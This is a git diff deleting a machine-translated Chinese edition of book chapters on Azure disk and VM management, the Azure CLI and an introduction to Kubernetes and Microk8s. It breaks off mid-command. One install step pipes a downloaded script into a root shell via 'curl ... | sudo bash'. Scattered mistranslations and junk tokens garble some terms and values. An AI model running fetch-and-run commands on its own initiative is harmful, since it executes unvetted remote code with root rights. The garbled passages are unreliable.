让我们简单地浏览一下相关的命令。 - -通过 SSH 连接到我们的虚拟机: - -```sh -ssh -i azure/packt-rhel.pem packt@104.40.68.161 -``` - -列出当前的块设备: - -```sh -lsblk -``` - -在输出中识别新的数据磁盘。 我们的磁盘大小为 4 GB,相关的块设备为`sdc`: - -![Figure 13.73 – Identify the block device for the new data disk](img/B13196_13_73.jpg) - -图 13.73 -为新数据磁盘识别块设备 - -验证块设备是否为空: - -```sh -sudo file -s /dev/sdc -``` - -输出为`/dev/sdc: data`,这意味着数据磁盘还不包含文件系统。 接下来,用一个`XFS`文件系统初始化卷: - -```sh -sudo mkfs -t xfs /dev/sdc -``` - -最后,创建一个挂载点(`/packt`)并挂载新卷: - -```sh -sudo mkdir /packt -sudo mount /dev/sdc /packt -``` - -现在我们可以使用新的数据磁盘进行常规的文件存储。 - -我们应该注意,数据磁盘只会在虚拟机的生命周期内被持久化。 当虚拟机暂停、停止或终止时,数据磁盘将不可用。 当机器被终止时,数据磁盘将永久丢失。 - -对于持久存储,我们需要使用*托管磁盘*,其行为类似于网络附加存储。 接下来,我们将一个托管磁盘附加到虚拟机。 - -#### 添加受管磁盘 - -让我们从创建托管磁盘开始。 在 Azure 门户中,点击**创建资源**,在 Azure Marketplace 中搜索`managed disks`。 在纳管的磁盘资源上单击**创建**。 在下一个屏幕上,输入**包含我们的虚拟机资源组**(`packt-demo`),管理磁盘名称`packt-man`,【病人】地区我们的资源(`(US) West US`),和我们的磁盘的大小(**256 年镶条**,【t16.1】标准 SSD): - -![Figure 13.74 – Creating a managed disk](img/B13196_13_74.jpg) - -图 13.74 -创建托管磁盘 - -在选择磁盘大小时,您还可以在**标准**(SSD 或 HDD)和**高级**存储类型之间进行选择。 在选择**高级**之前,请确保您的虚拟机支持高级存储磁盘。 有关存储类型的更多信息,请访问[https://docs.microsoft.com/en-us/azure/virtual-machines/disks-types](https://docs.microsoft.com/en-us/azure/virtual-machines/disks-types)。 - -前面的设置足以创建我们的托管磁盘。 您可以选择执行以下步骤并指定加密和网络选项。 完成后点击**Review + create**。 Azure 将验证新资源的部署,并提示我们创建托管磁盘。 - -接下来,我们将把托管磁盘添加到虚拟机中。 这个过程非常类似于添加数据磁盘,除了我们指定**附加现有磁盘**来添加我们的托管磁盘。 注意,托管磁盘可能需要一段时间才能用于挂载。 此外,Azure 将大写资源的名称(对于示例,`PACKT-MAN`): - -![Figure 13.75 – Attaching a managed disk](img/B13196_13_75.jpg) - -图 13.75 -绑定托管磁盘 - -选择被管理的磁盘(`PACKT-MAN`),单击顶部菜单栏中的**保存**。 新磁盘将显示在之前添加到虚拟机的数据磁盘旁边: - -![Figure 13.76 – The disks attached to the virtual machine](img/B13196_13_76.jpg) - -图 13.76 -绑定到虚拟机的磁盘 - -初始化托管存储卷上的文件系统的其余步骤与数据磁盘类似,我们不会再讨论它们。 - -Azure 云中的另一个典型操作是跨资源组移动虚拟机。 假设我们有一个登台环境和一个生产环境,在某些时候,我们可能想要将一个虚拟机从一个转移到另一个。 在下一节中,我们将向您展示如何操作。 - -### 移动虚拟机 - -在 Azure 中,跨资源组移动虚拟机器是一个相对简单的过程。 以下是步骤: - -1. 创建新的资源组。 -2. 选择要移动的资源。 -3. 移动资源。 - -让我们从第一步开始,创建要将虚拟机移动到的新资源组。 如果您的目标资源组已经创建,您可以跳过此步骤。 - -#### 创建新的资源组 - -我们将从创建一个新的资源组开始。 在 Azure 门户的左侧导航窗格中选择**资源组**,然后单击**创建**: - -![Figure 13.77 – Creating a new resource group](img/B13196_13_77.jpg) - -图 13.77 -创建一个新的资源组 - -我们将命名我们的新资源组`packt`,并在定义其他资产的同一个区域(`(US) West US`)中创建它。 完成后按**Review + create**。 作为练习,您还可以在新的资源组中创建另一个基于 Ubuntu 的虚拟机(例如`packt-ubuntu`)。 - -在下一步中,我们选择要移动的资源。 - -#### 选择要移动的资源 - -我们在左侧导航菜单中选择**资源组**,并选择我们想要将资产移出的资源组(`packt-demo`)。 在这里,我们选择要移动到另一个资源组的所有资源。 例如,我们可以只选择`packt-rhel`虚拟机,而将其他相关资源留在现有资源组中。 为了保持一致性,我们选择与`pack-rhel`虚拟机相关的所有资源,除了`packt-rhel`SSH 密钥。 在 Azure 中,跨资源组移动 SSH 密钥是不允许的,这很可能是出于安全原因。 - -选择完成,单击省略号(**…**),在右上角的资源菜单,选择**,选择**移动到另一个资源组**:** - - **![Figure 13.78 – Selecting the resources to move](img/B13196_13_78.jpg) - -图 13.78 -选择要移动的资源 - -现在我们准备进行最后一步。 - -#### 移动资源 - -我们输入目标资源组(`packt`)的名称。 我们还必须承认,任何引用我们将要移动的资源的自动化脚本都必须进行更新,以反映新的资源组。 在点击**OK**按钮之前,我们仍然可以取消选中列表中我们不想移动的项目: - -![Figure 13.79 – Moving the resources](img/B13196_13_79.jpg) - -图 13.79 -移动资源 - -在一个快速验证过程之后,我们要移动到新资源组的项目将开始从旧资源组中消失。 点击原资源组顶部菜单栏中的**Refresh**按钮,最终视图将只显示未移动的资源: - -![Figure 13.80 – Refreshing the old resource group](img/B13196_13_80.jpg) - -图 13.80 -刷新旧的资源组 - -将切换到新的资源组(`packt`),我们将看到我们刚刚移动的资源相应放置: - -![Figure 13.81 – The assets in the new resource group (partial view)](img/B13196_13_81.jpg) - -图 13.81 -新资源组中的资产(局部视图) - -在虚拟机的生命周期中,我们可能偶尔会遇到连接到实例的问题,比如在无法访问主机或本地数据中心故障的极少数情况下。 Azure 有一个方便的特性,允许我们重新部署虚拟机。 重新部署将把实例放在同一个资源组中的新主机或新数据中心中,使其立即可用。 接下来让我们看看如何重新部署虚拟机。 - -### 重新部署虚拟机 - -要使用 Azure 门户启动重新部署,请转到左侧导航菜单中的**虚拟机**并选择您的虚拟机(例如`packt-rhel`)。 接下来,在**设置**刀片中,在**支持+故障排除**下选择**重新部署+重新应用**,然后点击**重新部署**: - -![Figure 13.82 – Redeploying a virtual machine](img/B13196_13_82.jpg) - -图 13.82 -重新部署虚拟机 - -在重新部署过程中,Azure 将关闭机器,将其移动到 Azure 基础设施中的一个新节点,然后重新启动机器,所有配置选项和相关资源都完好无损。 - -到目前为止,我们已经在 Azure 门户中执行了所有这些管理操作。 如果您想要使用脚本自动化云中的工作负载,该怎么办? Azure 提供了专门的命令行界面来管理云中的资源。 下面我们来看看 Azure CLI。 - -## 使用 Azure CLI - -首先,让我们在我们选择的平台上安装 Azure CLI。 按照下面的说明:[https://docs.microsoft.com/en-us/cli/azure/install-azure-cli](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli)。 我们将为 Linux 选择 Azure CLI,并为了演示目的,将其安装在 Ubuntu 机器上。 相关指令在这里捕获:[https://docs.microsoft.com/en-us/cli/azure/install-azure-cli-linux](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli-linux)。 从多个可用的安装选项中,我们将使用以下命令: - -```sh -curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash -``` - -安装完成后,我们可以使用`az`命令调用 Azure CLI: - -```sh -az help -``` - -通过以上命令可以查看`az`实用工具使用的详细帮助信息。 在执行任何管理操作之前,我们需要用 Azure 凭证验证 CLI。 下面的命令将相应地设置本地 Azure CLI 环境: - -```sh -az login -``` - -我们将看到一条包含验证码和 URL([https://microsoft.com/devicelogin](https://microsoft.com/devicelogin))的消息,以访问并输入代码: - -![Figure 13.83 – Initializing the Azure CLI environment](img/B13196_13_83.jpg) - -图 13.83 -初始化 Azure CLI 环境 - -现在,我们已经准备好使用 Azure CLI 进行管理操作了。 让我们在`westus`区域中创建一个新的资源组`packt-dev`: - -```sh -az group create --name packt-dev --location westus -``` - -使用命令创建资源组成功后,输出如下: - -![Figure 13.84 – Creating a new resource group](img/B13196_13_84.jpg) - -图 13.84 -创建一个新的资源组 - -接下来,我们在刚才创建的区域中启动一个名为`packt-ubuntu-dev`的 Ubuntu 虚拟机: - -```sh -az vm create \ -  --resource-group packt-dev \ -  --name packt-ubuntu-dev \ -  --image UbuntuLTS \ -  --admin-username packt \ -  --generate-ssh-keys -``` - -让我们快速浏览一下前面的每个命令行选项: - -* `resource-group`-创建虚拟机所在的资源组(`packt-dev`)的名称 -* `name`-虚拟机的名称(`packt-ubuntu-dev`) -* `image`-要使用的 Linux 发行版(`UbuntuLTS`) -* `admin-username`-计算机管理员帐户的用户名(`packt`) -* `generate-ssh-keys`-生成一个新的 SSH 密钥对来访问我们的虚拟机 - -该命令输出如下: - -![Figure 13.85 – Creating a new virtual machine](img/B13196_13_85.jpg) - -图 13.85 -创建一个新的虚拟机 - -正如输出所建议的,SSH 密钥文件已经自动生成并放置在本地机器的`~/.ssh`目录中,以允许 SSH 访问新创建的虚拟机。 `JSON`输出还提供了机器的公共 IP 地址: - -```sh -"publicIpAddress": "168.62.197.46" -``` - -下面的命令列出了所有的虚拟机: - -```sh -az vm list -``` - -要获取关于特定虚拟机(`packt-ubuntu-dev`)的信息,我们运行以下命令: - -```sh -az vm show \ -  --resource-group packt-dev \ -  --name packt-ubuntu-dev -``` - -要重新部署一个现有的虚拟机(例如`packt-ubuntu-dev`),我们运行以下命令: - -```sh -az vm redeploy \ -  --resource-group packt-dev \ -  --name packt-ubuntu-dev -``` - -删除虚拟机(`packt-ubuntu-dev`): - -```sh -az vm delete \ -  --resource-group packt-dev \ -  --name packt-ubuntu-dev -``` - -您可能已经注意到,对于与虚拟机相关的命令(`az vm`),我们还需要指定虚拟机所属的资源组。 - -对 Azure CLI 的的全面研究超出了本章的范围。 有关的详细信息,请访问 Azure CLI 在线文档门户[https://docs.microsoft.com/en-us/cli/azure/](https://docs.microsoft.com/en-us/cli/azure/)。 - -以上就是我们使用 AWS 和 Azure 覆盖的公共云部署。 我们已经涵盖了一个广阔的领域,而只是粗略地了解了云管理工作负载的表面。 我们鼓励您在这些初步知识的基础上进一步探索,从 AWS 和 Azure 云文档开始。 这些链接见*进一步阅读*部分,以及其他有价值的资源。 - -现在,让我们来总结一下到目前为止您对 AWS 和 Azure 的了解。 - -# 总结 - -AWS 和 Azure 在灵活的计算能力、存储和网络方面提供了大致类似的功能集,并采用现收现付的定价方式。 它们共享公共云的基本元素——弹性、自动伸缩、自助服务供应、安全和身份访问管理。 本章严格地从实用的角度探讨了这两个云提供商,重点关注日常云管理任务的典型部署和管理方面。 - -我们讨论了启动和终止新实例或虚拟机等主题。 我们研究了如何调整实例的大小以适应更高或更低的计算容量,以及通过创建和附加额外的块设备(卷)来扩展存储。 最后,我们使用 CLI 工具为各种云管理工作负载编写脚本。 - -此时,您应该熟悉 AWS 和 Azure web 管理控制台和 CLI 工具。 您已经了解了一些典型云管理任务的基础知识,以及一些关于供应云资源的基本概念。 总之,通过参与云本地管理工作流,您已经为现代 Linux 管理员提供了一套特殊的技能。 结合到目前为止在前几章中构建的知识,您正在为本地、公共和混合云系统管理组装一个有价值的 Linux 管理工具带。 - -在下一章中,我们将进一步探讨这个挑战,并向您介绍如何使用 Kubernetes 的容器工作流和服务来管理应用部署。 - -# 问题 - -以下是你在本章所学到的一些概念的快速回顾,作为一个小测验: - -1. AZ 是什么? -2. 在`t2.small`和`t2.micro`AWS EC2 实例类型之间,哪一种性能更好? -3. 您已经在`us-west-1a`AZ 中启动了 AWS EC2 实例,并计划挂载在`us-west-1b`中创建的 EBS 卷。 它会工作吗? -4. Azure 中有两个虚拟机和一个块设备(存储),它们都在同一个资源组中。 您需要将存储连接到两个虚拟机。 它会工作吗? 它能在 AWS 中工作吗? -5. 您在 Azure 中拥有一个带有标准 SSD 存储的虚拟机,并计划将托管磁盘与高级 SSD 存储连接起来。 它会工作吗? -6. 连接到 AWS EC2 实例或 Azure 虚拟机的 SSH 命令是什么? -7. 您决定停止一个 EC2 实例。 稍后,重新启动实例,不能再使用相同的公共 IP 地址连接到 SSH。 发生了什么事? -8. 为什么要重新部署 Azure 虚拟机? -9. 列出虚拟机的 Azure CLI 命令是什么? 那么等效的 AWS CLI 命令呢? -10. 启动新的 EC2 实例的 AWS CLI 命令是什么? -11. 用于删除虚拟机的 Azure CLI 命令是什么? - -# 进一步阅读 - -下面是一些进一步探索 AWS 和 Azure 云主题的资源: - -* AWS EC2:[https://docs.aws.amazon.com/ec2/index.html](https://docs.aws.amazon.com/ec2/index.html) -* Azure:[https://docs.microsoft.com/en-us/azure](https://docs.microsoft.com/en-us/azure) -* *AWS for System Administrators*,*Prashant Lakhera*,*Packt Publishing*([https://www.packtpub.com/product/aws-for-system-administrators/9781800201538](https://www.packtpub.com/product/aws-for-system-administrators/9781800201538)) -* *学习 AWS——第二版*、*Aurobindo Sarkar*,*阿米特·沙阿*,*Packt 出版*(【显示】https://www.packtpub.com/product/learning-aws-second-edition/9781787281066) -* *学习 Microsoft Azure*,*Geoff weber - cross*,*Packt Publishing*([https://www.packtpub.com/product/learning-microsoft-azure/9781782173373](https://www.packtpub.com/product/learning-microsoft-azure/9781782173373)) -* *学习微软 Azure:实习培训(视频)*,*维贾伊赛*,*Packt 出版*(【https://www.packtpub.com/product/learning-microsoft-azure-a-hands-on-training-video/9781800203921 T6】)******* \ No newline at end of file diff --git a/docs/master-linux-admin/14.md b/docs/master-linux-admin/14.md deleted file mode 100644 index 756f6a33..00000000 --- a/docs/master-linux-admin/14.md +++ /dev/null @@ -1,2221 +0,0 @@ -# 十四、使用 Kubernetes 部署应用 - -无论您是管理容器化应用的经验丰富的系统管理员,还是自动化应用编排工作流的 DevOps 工程师,Kubernetes 都可能是您的选择平台。 本章将向您介绍 Kubernetes,并指导您完成构建和配置 Kubernetes 集群的基本过程。 我们将使用 Kubernetes 在一个安全且高可用性的环境中运行和扩展一个简单的应用。 您还将了解如何使用命令行界面与 Kubernetes 交互。 - -在本章结束时,您将知道如何安装、配置和管理 Kubernetes 集群,无论是本地部署还是使用公有云提供商(如 AWS 和 Azure)的托管服务。 我们还将展示如何使用 Kubernetes 部署和扩展应用。 - -以下是本章将要讨论的主题的简要概述: - -* 介绍 Kubernetes、体系结构和 API 对象模型 -* 在桌面、本地虚拟机和公共云环境(AWS 和 Azure)中安装和配置 Kubernetes -* 使用`kubectl`命令行工具与 Kubernetes 一起工作 -* 使用命令式和声明式部署模型使用 Kubernetes 部署应用 - -# 技术要求 - -一般来说,您应该熟悉 Linux 和命令行界面。 对 TCP/IP 网络和 Docker 容器的良好掌握将大大有助于您更容易地学习 Kubernetes。 - -如果您想跟随实际示例学习,那么探索云中的 Kubernetes 部分需要 AWS 和 Azure 帐户。 你可以在以下连结注册免费订阅: - -* AWS Free Tier:[https://aws.amazon.com/free](https://aws.amazon.com/free) -* Microsoft Azure 免费账号:[https://azure.microsoft.com/en-us/free/](https://azure.microsoft.com/en-us/free/) - -您还需要一台带有您选择的 Linux 发行版的本地桌面计算机来安装和试验本章中使用的 CLI 工具。 - -我们将用相当大的一部分讨论如何使用虚拟机构建 Kubernetes 集群。 一个具有几个 CPU 内核和至少 8 GB RAM 的强大桌面系统将允许您在桌面上复制相关环境。 您还需要一个桌面管理程序,例如*Virtual Box*或*VMware Fusion*。 或者,您可以选择使用 Kubernetes 探索更轻量级的仅用于桌面的环境,我们也将介绍它。 - -现在,让我们一起开始探索 Kubernetes 吧。 - -# Kubernetes 的介绍 - -Kubernetes 是一个开放源码*容器编排器*,最初由谷歌开发。 假设一个应用使用了容器化的微服务,一个容器编排系统提供了以下特性: - -* **弹性编制**:自动启动和停止应用服务(容器)基于具体要求和条件——例如,推出多个 web 服务器实例与越来越多的请求,最终终止服务器请求的数量低于某一阈值时 -* **工作负载管理**:最优地跨底层集群部署和分发应用服务,以确保强制依赖和冗余——例如,在每个集群节点上运行 web 服务器端点以实现高可用性 -* **基础设施抽象**:提供容器运行时、网络连接和负载平衡能力——例如,在多个 web 服务器容器之间分配负载,并使用数据库应用容器自动配置底层网络连接 -* **声明配置**:描述和确保*期望状态*的多层应用——例如,一个 web 服务器应该准备好服务请求只有当数据库后端已经启动并运行,和底层存储 - -工作负载编排的一个经典例子是视频点播流媒体服务。 随着热门的新电视节目的高需求,流媒体请求的数量将大大超过常规季的平均水平。 有了 Kubernetes,我们可以根据流媒体会话的数量来扩展 web 服务器的数量。 我们还可以控制一些中间层组件可能的向外扩展,比如数据库实例(服务于身份验证请求)和存储缓存(服务于流)。 当电视节目不再流行,并且请求数量显著减少时,Kubernetes 终止剩余的实例,自动减少应用部署的占用空间,从而降低底层成本。 - -下面是使用 Kubernetes 部署应用的一些关键好处: - -* **快速部署**:使用*声明式*或*命令式*配置模型,应用容器的创建和启动速度相对较快(我们将在本章后面看到)。 -* **快速迭代**:应用升级相对简单,底层基础设施只需无缝地替换相关容器。 -* **快速恢复**:如果应用崩溃或不可用,Kubernetes 通过替换相关容器自动将应用恢复到所需的状态。 -* **降低了操作成本**:Kubernetes 的集装箱化环境和基础设施抽象以相对较低的资源运行应用,产生了最小的管理和维护工作。 - -既然我们已经介绍了 Kubernetes,接下来让我们看看它的基本工作原理。 - -## 了解 Kubernetes 架构 - -Kubernetes 工作模式的核心有三个主要概念: - -* **声明配置**或**期望状态**:这个概念描述了整个应用状态和 microservices,部署所需的容器和相关资源,包括网络、存储、和负载平衡器,实现运行应用的功能状态。 -* **控制器**或**控制器循环**:这个概念的显示器所需的状态系统和需要纠正措施在需要的时候,比如替换失败的应用容器或添加额外的资源扩展工作负载。 -* **API 对象模型**:这个概念代表实际的实现你所期望的状态,使用各种配置对象和交互——**应用编程接口(API**【T7)】——【显示】这些对象之间的关系。**** - - **为了更好地了解 Kubernetes 的内部结构,我们需要更仔细地研究 Kubernetes 对象模型和相关 API。 - -## 介绍 Kubernetes 对象模型 - -Kubernetes 体系结构定义了一组表示系统期望状态的对象。 在这个上下文中,*对象*是描述子系统的*行为*的程序术语。 多个对象通过 API 相互交互,随着时间的推移形成所需的状态。 换句话说,Kubernetes 对象模型是所需状态的编程表示。 - -那么 Kubernetes 中的这些物体是什么呢? 我们将简要列举一些更重要的因素,并在接下来的章节中进一步阐述: - -* API server -* 豆荚 -* 控制器 -* 服务 -* 存储 -* 网络 - -我们使用这些 API 对象来配置系统的状态,可以使用*声明式*模型,也可以使用*命令式*模型。 使用*声明式*模型,我们*描述*系统的状态,通常使用配置文件或清单(YAML 或 JSON 格式)。 这样的配置可以包括和部署多个 API 对象,并将系统视为一个整体。 - -另一方面,*命令式*配置模型使用单独的命令来配置和部署特定的 API 对象,通常作用于单个目标或子系统。 - -让我们先来看看 API 服务器——Kubernetes 对象模型的核心部分。 - -### API 服务器介绍 - -API 服务器是 Kubernetes 对象模型的核心 hub,它充当系统所需状态的管理端点。 API 服务器使用 JSON 有效负载公开一个 HTTP REST 接口。 其他 API 对象在内部可以访问*,在外部可以访问*,通过配置和管理工作流。** - - **API 服务器本质上是与 Kubernetes 集群交互的网关,从外部和内部都是如此。 系统管理员连接到 API 服务器端点来配置和管理 Kubernetes 集群,通常是通过 CLI。 在内部,KubernetesAPI 对象连接到 API 服务器以提供其状态的更新。 作为回报,API 服务器可以进一步调整 API 对象的内部配置以达到预期的状态。 - -API 对象是 Kubernetes 集群内部配置或期望状态的构建块。 接下来让我们看看其中的一些 API 对象。 - -### 介绍吊舱 - -在 Kubernetes 中,**Pod**代表基本*工作单元*,作为单个或多容器应用运行。 在 Kubernetes 中,一个 Pod 也被称为调度的*单元。 换句话说,保证同一个 Pod 中的容器部署在同一个集群节点上。* - -Pod 本质上表示应用服务网格中的一个微服务(或服务)。 考虑一个经典的 web 应用的例子,我们可能有以下 pod 在集群中运行: - -* web 服务器(Nginx) -* 身份验证(库) -* 数据库(PostgreSQL) -* 存储(NAS) - -每个服务(或应用)都在它们的 Pod 中运行。 同一个应用(例如,web 服务器)的多个 pod 组成一个*ReplicaSet*。 接下来,我们将在*介绍控制器*一节中更深入地研究 ReplicaSets。 - -豆荚的一个基本特征是它们的*短命*性质。 一旦一个荚果被终止,它就永远消失了。 没有荚果在库伯内特被重新部署。 因此,Pods 不持久化任何状态,除非它们使用持久存储或本地卷来保存数据。 - -此外,吊舱是一个*原子单位*——它们要么被部署,要么不被部署。 对于单个容器 Pod,原子性几乎是给定的。 对于多容器 Pod,原子性意味着仅在部署了每个组成容器时才部署 Pod。 如果任何容器未能部署,将不会部署 Pod,因此没有 Pod。 如果一个运行的多容器 Pod 中的一个容器失败,整个 Pod 将被终止。 - -可以部署并运行 Pod,但这并不一定意味着 Pod 中的应用或服务是健康的。 Kubernetes 使用*探针*监测 Pod 内应用的*生命值*。 例如,web 服务器 Pod 可以有一个探测,它检查特定的 URL,并根据响应决定它是否正常。 - -Kubernetes 使用控制器跟踪 pod 的状态。 接下来让我们看看控制器。 - -### 引入控制器 - -Kubernetes 中的**控制器**是*控制回路*,负责保持系统处于期望的状态或使系统更接近期望的状态。 例如,控制器可能检测到某个 Pod 没有响应,并在终止旧 Pod 的同时请求部署新的 Pod。 - -控制器还可以在*Pod 副本*集合中添加或删除特定类型的 Pod。 这样的控制器被称为**ReplicaSets**,它们的职责是根据应用的当前状态容纳特定数量的 Pod 副本。 例如,假设一个应用需要三个 web 服务器 pod,而其中一个不可用。 在这种情况下,ReplicaSet 控制器确保删除失败的 Pod,并使用一个新的 Pod 代替它。 - -在 Kubernetes 中部署应用时,我们通常不会直接使用 ReplicaSets 来创建 Pods。 我们使用*部署*控制器来代替。 给定 Kubernetes 的声明式模型,我们可以定义一个包含一个或多个 replicaset 的部署。 部署控制器的任务是创建具有所需数量 pod 的 ReplicaSet 并管理 ReplicaSet 状态,换句话说,就是加载哪个容器映像以及创建 pod 的数量。 - -部署控制器还可以管理从一个 ReplicaSet 到另一个 ReplicaSet 的转换,这是在推出或升级场景中使用的功能。 假设我们有一个 ReplicaSet(`v1`),其中有几个 pod,它们都运行应用的版本 1,我们想将它们升级到版本 2。 记住,荚果不能*再生*或*升级*。 相反,我们将定义第二个 ReplicaSet(`v2`),创建版本 2 Pods。 部署控制器将关闭`v1`ReplicaSet 并打开`v2`。 Kubernetes 无缝地进行了首次展示,几乎没有服务中断。 部署控制器管理`v1`和`v2`ReplicaSets 之间的转换,如果需要,甚至回滚转换。 - -Kubernetes 中还有许多其他控制器类型,我们鼓励您在[https://kubernetes.io/docs/concepts/workloads/controllers/](https://kubernetes.io/docs/concepts/workloads/controllers/)中探索它们。 - -当应用向外扩展或终止时,将部署或删除相关的 pod。 *Services*提供对 Pods 动态而短暂的世界的访问。 接下来我们将讨论服务。 - -### 介绍服务 - -服务提供对运行在 pod 中的应用的持久访问。 通过将流量路由到相应的应用端点,确保 Pods 是可访问的,这是 Services 的责任。 换句话说,服务为与 pod 通信提供了网络抽象,例如 IP 地址、路由和 DNS 解析。 当 Pods 根据系统的期望状态被部署或终止时,Kubernetes 动态更新 Pods 的服务端点,在访问相关应用时尽量减少或不中断。 当用户和应用访问服务端点的持久 IP 地址时,该服务将确保路由信息是最新的,并且将流量专门路由到运行和健康的 Pods。 还可以利用服务来平衡 Pods 之间的应用流量,并根据需求向上或向下伸缩 Pods。 - -到目前为止,我们已经了解了控制应用服务的部署、访问和生命周期的 Kubernetes API 对象。 那么应用需要的持久数据呢? 下面我们来看看 Kubernetes 的仓库。 - -### 介绍存储 - -Kubernetes 为在集群中运行的应用提供了各种存储类型。 最常见的是**卷**和**持续性卷**。 由于 Pod 的短暂性,当 Pod 终止时,使用卷存储在 Pod 中的应用数据将丢失。 *持久性卷*是在 Kubernetes 集群级别定义和管理的,它们独立于 Pods。 需要持久状态的应用(Pods)将使用**persistentvolumecclaim**保留一个持久卷(特定大小)。 当使用持久卷的 Pod 终止时,替换旧 Pod 的新 Pod 将从持久卷中检索当前状态,并将继续使用底层存储。 更多关于 Kubernetes 存储类型的信息,请参考[https://kubernetes.io/docs/concepts/storage/](https://kubernetes.io/docs/concepts/storage/)。 - -现在我们已经熟悉了 Kubernetes API 对象模型,让我们快速了解一下 Kubernetes 集群的架构。 - -## Kubernetes 星系团的解剖 - -Kubernetes 集群由一个*控制平面节点*和一个或多个*工作节点*组成。 下面的图表展示了 Kubernetes 架构的高级视图: - -![Figure 14.1 – Kubernetes architecture](img/B13196_14_01.jpg) - -图 14.1 - Kubernetes 架构 - -接下来,让我们详细看看 Kubernetes 集群节点,从 Control Plane 节点开始。 - -### 介绍 Kubernetes 控制平面 - -*Kubernetes 控制平面*提供用于部署和编排应用工作负载的基本服务,并且它运行在 Kubernetes 集群中的专用节点*控制平面节点*上。 控制平面节点,也称为*主节点*,实现 Kubernetes 集群的核心组件,如资源调度和监控。 它也是集群管理的主要访问点。 下面是控制平面节点的关键子系统: - -* **API 服务器**:Kubernetes API 对象之间的中心通信枢纽; 它还提供了可以通过 CLI 或 Kubernetes web 管理控制台(仪表板)访问的集群管理端点。 -* 调度程序**:根据资源分配和管理策略,决定何时以及在哪个节点上部署 pod。** -*** **控制器管理器**:维护控制回路,监视和塑造系统所需的状态。* **etcd**,也称为**集群存储**,是一个高度可用的持久化数据库,维护 Kubernetes 集群和相关 API 对象的状态; `etcd`中的信息以键-值对的形式存储。* **kubectl**:用于管理 Kubernetes 集群并与之交互的主要管理 CLI; `kubectl`直接与 API 服务器通信,可以远程连接到集群。** - - **Kubernetes 控制平面的详细架构概述超出了本章的范围。 您可以在[https://kubernetes.io/docs/concepts/architecture/](https://kubernetes.io/docs/concepts/architecture/)上更详细地了解相关概念。 - -接下来,让我们简要地看一下 Kubernetes 节点——Kubernetes 集群的主力节点。 - -### 介绍 Kubernetes 节点 - -在 Kubernetes 集群中,**节点**——也被称为**w**——**工作节点运行实际应用豆荚和【显示】保持完整的生命周期。 节点提供 Kubernetes 的计算能力,并确保在部署和运行 pod 时,工作负载在集群中均匀分布。 节点可以配置为物理(裸金属)或虚拟机。** - -让我们列举 Kubernetes 节点的关键元素: - -* **Kubelet**:处理控制平面请求(从调度程序)部署和启动应用 pod; Kubelet 还监视节点和 Pod 状态,向 API 服务器报告相关的更改 -* **Kube-Proxy**:动态为在 Pods 中运行的应用配置虚拟网络环境; 它负责路由网络流量,提供负载均衡,维护 Services 和 pod 的 IP 地址 -* **容器运行时**:为 Pods 提供运行时环境作为应用容器; 使用**容器运行时界面**(**中国国际广播电台)与容器引擎背后的【显示】(**containerd**和【病人】码头工人**) - -所有上述服务运行在 Kubernetes 集群的每个*节点上,包括 Control Plane 节点。 控制平面中的这些组件是特殊用途的 pod 所需要的,提供特定的控制平面服务,如 DNS、ingress(负载均衡)和 dashboard (web 控制台)。* - -有关 Kubernetes 节点和相关架构概念的更多信息,请访问[https://kubernetes.io/docs/concepts/architecture/nodes/](https://kubernetes.io/docs/concepts/architecture/nodes/)。 - -现在,我们已经熟悉了一些关键概念和集群组件,让我们准备安装和配置 Kubernetes。 - -# 安装和配置 Kubernetes - -在安装或使用 Kubernetes 之前,您必须决定要使用的基础设施是本地云还是公共云。 其次,您必须在**基础设施即服务**(**IaaS**)或**平台即服务**(**PaaS**)模型之间进行选择。 使用 IaaS,您必须自己在物理(裸机)或虚拟机上安装、配置、管理和维护 Kubernetes 集群。 相关的操作努力不是直截了当的,应该仔细考虑。 如果您选择一个 PaaS 解决方案(所有主要的公共云提供商都提供此解决方案),那么您将只能执行管理任务,而不必承担维护底层基础设施的负担。 - -在本章中,我们将介绍 Kubernetes 的 IaaS 和 PaaS 部署。 对于 IaaS,我们将使用一个运行 Ubuntu 虚拟机的本地桌面环境。 然后,我们将看看在 AWS 和 Azure 中的 Kubernetes。 - -对于本地安装,我们也可以在 Kubernetes 的轻量级桌面版本和具有多个节点的成熟集群之间进行选择。 接下来让我们看看 Kubernetes 最常见的桌面版本。 - -## 在桌面上安装 Kubernetes - -如果您只想用 Kubernetes 做实验,那么桌面版可能符合要求。 桌面风格的 Kubernetes 通常在您的本地机器上部署一个单节点集群。 根据您所选择的平台——Windows、macOS 或 Linux——您有许多 Kubernetes 引擎可供选择。 这里只是一些: - -* **Docker Desktop**(macOS, Windows):[https://www.docker.com/products/docker-desktop](https://www.docker.com/products/docker-desktop) -* **minikube**(Linux, macOS, Windows):[https://minikube.sigs.k8s.io/docs/](https://minikube.sigs.k8s.io/docs/) -* **Microk8s**(Linux, macOS, Windows):[https://microk8s.io/](https://microk8s.io/) -* **k3 (Linux): https://k3s.io/** - -在本节中,我们将向您展示如何安装 Microk8s,这是编写本文时流行的 Kubernetes 桌面引擎之一。 Microk8s 可以通过 Snap store 安装。 让我们先把它安装到 Ubuntu 上。 - -### 在 Ubuntu 上安装 Microk8s - -例如,在 Ubuntu 20.04 上,我们可以使用以下命令来安装: - -```sh -sudo snap install microk8s --classic -``` - -Microk8s 的成功安装应该会产生以下结果: - -![Figure 14.2 – Running Microk8s on Linux](img/B13196_14_02.jpg) - -图 14.2 -在 Linux 上运行 Microk8s - -要在没有`sudo`权限的情况下访问 Microk8s CLI,您必须将本地用户帐户添加到`microk8s`组,并使用以下命令修复`~/.kube`目录的权限: - -```sh -sudo usermod -aG microk8s $USER -sudo chown -f -R $USER ~/.kube -``` - -这些更改将在下一次登录时生效,您可以将`microk8s`命令行实用程序与非`sudo`调用一起使用。 例如,显示工具的帮助信息如下: - -```sh -microk8s help -``` - -要获取本地单节点 Microk8s Kubernetes 集群的状态,我们运行以下命令: - -```sh -microk8s status -``` - -Microk8s 在 RHEL/CentOS 上的安装步骤非常相似,只有一些细微的区别。 让我们接下来看看这个。 - -### Installing Microk8s on RHEL/CentOS - -在 RHEL/CentOS 上,我们必须首先启用 Snap store。 Snap 通过**Extra Packages for Enterprise Linux**(**EPEL**)提供。 我们使用以下命令安装 EPEL 存储库: - -```sh -sudo yum install -y epel-release -``` - -接下来,我们将安装 Snap: - -```sh -sudo yum install -y snapd -``` - -安装了 Snap 后,我们需要做一些调整来启用 Snap 通信套接字和经典的 Snap 支持: - -```sh -sudo systemctl enable --now snapd.socket -sudo ln -s 